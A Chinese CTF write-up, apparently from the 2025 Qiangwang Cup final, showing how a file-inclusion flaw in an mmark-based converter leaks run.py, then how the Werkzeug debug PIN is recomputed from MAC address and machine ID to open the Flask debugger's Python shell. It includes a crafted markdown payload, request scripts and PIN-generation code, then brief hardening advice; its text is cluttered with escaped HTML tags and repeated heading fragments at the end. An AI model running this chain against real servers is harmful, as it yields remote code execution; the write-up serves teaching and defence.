Flask调试模式PIN码破解实战教学<\/h1>

概述<\/h2>
本教学文档基于2025强网杯S9决赛RealWorld MyDraft题目的解题过程，详细讲解如何利用Flask调试模式的安全漏洞获取PIN码，最终实现代码执行。<\/p>

环境分析<\/h2>

目标环境配置<\/h3>

操作系统<\/strong>: Windows<\/li>
Web框架<\/strong>: Flask（开启调试模式）<\/li>

服务配置<\/strong>:

Nginx: 80端口（反向代理）<\/li>
Python应用: 5000端口<\/li>
PHP-CGI: 本地9000端口（未使用）<\/li> <\/ul> <\/li>
关键文件位置<\/strong>: C:\mydraft\run.py<\/code><\/li> <\/ul> 应用功能分析<\/h3> 目标应用是基于IETF Author Tools的文档格式转换工具，主要功能包括：<\/p> RFC文档格式转换<\/li> 文件上传处理<\/li> 调用外部工具处理文件（mmark、iddiff、id2xml等）<\/li> <\/ul> 漏洞发现与利用<\/h2> 第一阶段：信息收集<\/h3> 关键发现<\/h4> 通过分析应用代码，发现mmark工具支持文件包含功能：<\/p> {{filename}} 语法可以包含相对路径文件 <\/span><\/span><<\/span>{{filename}} 作为代码块包含文件 <\/span><\/span><\/code><\/pre>利用步骤<\/h4> 构造恶意markdown文件<\/strong>：<\/li> <\/ol> %%% <\/span><\/span>title = "octane protocol" <\/span><\/span>abbrev = "oct" <\/span><\/span>ipr= "trust200902" <\/span><\/span>area = "Internet" <\/span><\/span>submissiontype = "IETF" <\/span><\/span>keyword = [""] <\/span><\/span>[seriesInfo] <\/span><\/span>name = "RFC" <\/span><\/span>value = "1" <\/span><\/span>stream = "IETF" <\/span><\/span>status = "informational" <\/span><\/span>[[author]] <\/span><\/span>initials = "oct" <\/span><\/span>surname = "oct" <\/span><\/span>fullname = "octane" <\/span><\/span>%%% <\/span><\/span>{mainmatter} <\/span><\/span><<\/span>{{run.py}} <\/span><\/span><\/code><\/pre> 上传并触发文件包含<\/strong>：<\/li> <\/ol> import<\/span> requests <\/span><\/span>from<\/span> io import<\/span> BytesIO <\/span><\/span>from<\/span> yarl import<\/span> URL <\/span><\/span> <\/span><\/span>BASE_URL =<\/span> "http:\/\/target-ip:80\/"<\/span> <\/span><\/span>sess =<\/span> requests.<\/span>Session() <\/span><\/span> <\/span><\/span>md_content =<\/span> b<\/span>"""...上述markdown内容..."""<\/span> <\/span><\/span> <\/span><\/span>with<\/span> BytesIO(md_content) as<\/span> f: <\/span><\/span> resp =<\/span> sess.<\/span>post( <\/span><\/span> f<\/span>"<\/span>{<\/span>BASE_URL}<\/span>\/api\/render\/xml"<\/span>, <\/span><\/span> files=<\/span>{"file"<\/span>: ("draft.md"<\/span>, f, "text\/markdown"<\/span>)} <\/span><\/span> ) <\/span><\/span><\/code><\/pre> 提取关键信息<\/strong>：<\/li> <\/ol> import<\/span> re <\/span><\/span> <\/span><\/span># 获取返回的文件URL并访问<\/span> <\/span><\/span>url_path =<\/span> URL(resp.<\/span>json()["url"<\/span>]).<\/span>path.<\/span>replace("<\/span>\\<\/span>"<\/span>, "\/"<\/span>).<\/span>replace("C:\/mydraft\/uploads\/"<\/span>, ""<\/span>) <\/span><\/span>resp =<\/span> sess.<\/span>get(f<\/span>"<\/span>{<\/span>BASE_URL}{<\/span>url_path}<\/span>"<\/span>) <\/span><\/span>content =<\/span> resp.<\/span>text <\/span><\/span> <\/span><\/span># 提取app.__module__值<\/span> <\/span><\/span>match =<\/span> re.<\/span>search(r<\/span>'app\.__module__ = "([^"]+)"'<\/span>, content) <\/span><\/span>module_name =<\/span> match.<\/span>group(1<\/span>) <\/span><\/span><\/code><\/pre>第二阶段：PIN码破解<\/h3> PIN码生成原理<\/h4> Flask调试模式的PIN码生成基于以下因素：<\/p> 公开信息（public_bits）<\/strong>:<\/p> username<\/code>: 运行进程的用户名<\/li> modname<\/code>: 应用模块名（从run.py获取）<\/li> getattr(app, "__name__", type(app).__name__)<\/code>: 通常是"Flask"<\/li> getattr(mod, "__file__", None)<\/code>: 模块文件路径<\/li> <\/ul> 私有信息（private_bits）<\/strong>:<\/p> uuid.getnode()<\/code>: 基于MAC地址的整数<\/li> get_machine_id()<\/code>: 机器唯一标识符<\/li> <\/ul> 关键挑战<\/h4> MAC地址获取<\/strong>: 题目提示网络配置不同，需要现场获取靶机MAC地址<\/li> 机器标识符<\/strong>: 虚拟机环境一致，标识符固定<\/li> <\/ol> MAC地址获取方法<\/h4> 在现场环境中，通过ARP表查询靶机MAC地址：<\/p> arp -a 192.168.111.110 <\/span><\/span><\/code><\/pre>PIN码生成算法<\/h4> import<\/span> hashlib <\/span><\/span>from<\/span> itertools import<\/span> chain <\/span><\/span> <\/span><\/span>def<\/span> generate_pin<\/span>(public_bits, private_bits): <\/span><\/span> rv =<\/span> None<\/span> <\/span><\/span> num =<\/span> None<\/span> <\/span><\/span> h =<\/span> hashlib.<\/span>sha1() <\/span><\/span> <\/span><\/span> for<\/span> bit in<\/span> chain(public_bits, private_bits): <\/span><\/span> if<\/span> not<\/span> bit: <\/span><\/span> continue<\/span> <\/span><\/span> if<\/span> isinstance(bit, str): <\/span><\/span> bit =<\/span> bit.<\/span>encode("utf-8"<\/span>) <\/span><\/span> h.<\/span>update(bit) <\/span><\/span> h.<\/span>update(b<\/span>"cookiesalt"<\/span>) <\/span><\/span> <\/span><\/span> if<\/span> num is<\/span> None<\/span>: <\/span><\/span> h.<\/span>update(b<\/span>"pinsalt"<\/span>) <\/span><\/span> num =<\/span> f<\/span>"<\/span>{<\/span>int(h.<\/span>hexdigest(), 16<\/span>):<\/span>09d<\/span>}<\/span>"<\/span>[:9<\/span>] <\/span><\/span> <\/span><\/span> if<\/span> rv is<\/span> None<\/span>: <\/span><\/span> for<\/span> group_size in<\/span> 5<\/span>, 4<\/span>, 3<\/span>: <\/span><\/span> if<\/span> len(num) %<\/span> group_size ==<\/span> 0<\/span>: <\/span><\/span> rv =<\/span> "-"<\/span>.<\/span>join( <\/span><\/span> num[x:x+<\/span>group_size].<\/span>rjust(group_size, "0"<\/span>) <\/span><\/span> for<\/span> x in<\/span> range(0<\/span>, len(num), group_size) <\/span><\/span> ) <\/span><\/span> break<\/span> <\/span><\/span> else<\/span>: <\/span><\/span> rv =<\/span> num <\/span><\/span> <\/span><\/span> return<\/span> rv <\/span><\/span><\/code><\/pre>完整利用代码<\/h4> def<\/span> exploit<\/span>(target_ip, target_mac): <\/span><\/span> # 配置目标信息<\/span> <\/span><\/span> public_bits =<\/span> [ <\/span><\/span> "Administrator"<\/span>, # 默认用户名<\/span> <\/span><\/span> "random_string"<\/span>, # 从run.py获取的实际值<\/span> <\/span><\/span> "Flask"<\/span>, # 固定值<\/span> <\/span><\/span> None<\/span> # 文件路径<\/span> <\/span><\/span> ] <\/span><\/span> <\/span><\/span> # 转换MAC地址为整数<\/span> <\/span><\/span> mac_int =<\/span> int(target_mac.<\/span>replace(":"<\/span>, ""<\/span>).<\/span>replace("-"<\/span>, ""<\/span>), 16<\/span>) <\/span><\/span> private_bits =<\/span> [ <\/span><\/span> str(mac_int), # 从ARP表获取<\/span> <\/span><\/span> "1dc7ed7e-cea1-4830-a721-f5a469c1a74f"<\/span> # 固定机器标识符<\/span> <\/span><\/span> ] <\/span><\/span> <\/span><\/span> # 生成PIN码<\/span> <\/span><\/span> pin =<\/span> generate_pin(public_bits, private_bits) <\/span><\/span> return<\/span> pin <\/span><\/span><\/code><\/pre>第三阶段：触发调试界面<\/h3> 触发方法<\/h4> 通过调用不存在的命令触发NotFoundError，激活调试界面：<\/p> # 触发调试模式<\/span> <\/span><\/span>resp =<\/span> sess.<\/span>post(f<\/span>"<\/span>{<\/span>BASE_URL}<\/span>\/api\/abnf\/parse"<\/span>, data=<\/span>{"invalid"<\/span>: "data"<\/span>}) <\/span><\/span><\/code><\/pre>使用PIN码<\/h4> 访问出现的调试界面<\/li> 输入计算得到的PIN码<\/li> 获得Python交互式shell执行权限<\/li> <\/ol> 防护措施<\/h2> 针对开发者的建议<\/h3> 生产环境禁用调试模式<\/strong><\/li> 使用随机生成的SECRET_KEY<\/strong><\/li> 严格限制文件包含功能<\/strong><\/li> 对用户输入进行严格过滤<\/strong><\/li> <\/ol> 安全配置示例<\/h3> # 不安全配置<\/span> <\/span><\/span>app.<\/span>run(debug=<\/span>True<\/span>) <\/span><\/span> <\/span><\/span># 安全配置<\/span> <\/span><\/span>app.<\/span>run(debug=<\/span>False<\/span>) <\/span><\/span>app.<\/span>config['SECRET_KEY'<\/span>] =<\/span> os.<\/span>urandom(24<\/span>) <\/span><\/span><\/code><\/pre>总结<\/h2> 本教学详细讲解了Flask调试模式PIN码破解的完整流程，关键点包括：<\/p> 利用mmark的文件包含功能读取应用配置<\/li> 理解PIN码生成的算法和依赖因素<\/li> 现场环境中MAC地址的获取方法<\/li> 完整的漏洞利用链实现<\/li> <\/ol> 这种攻击方式凸显了在生产环境中开启调试模式的危险性，以及正确处理用户输入的重要性。<\/p>

Flask调试模式PIN码破解实战教学<\/h1>

概述<\/h2> 本教学文档基于2025强网杯S9决赛RealWorld MyDraft题目的解题过程，详细讲解如何利用Flask调试模式的安全漏洞获取PIN码，最终实现代码执行。<\/p>

环境分析<\/h2>

漏洞发现与利用<\/h2>

第一阶段：信息收集<\/h3>

第二阶段：PIN码破解<\/h3>

第三阶段：触发调试界面<\/h3>

防护措施<\/h2>

概述<\/h2>
本教学文档基于2025强网杯S9决赛RealWorld MyDraft题目的解题过程，详细讲解如何利用Flask调试模式的安全漏洞获取PIN码，最终实现代码执行。<\/p>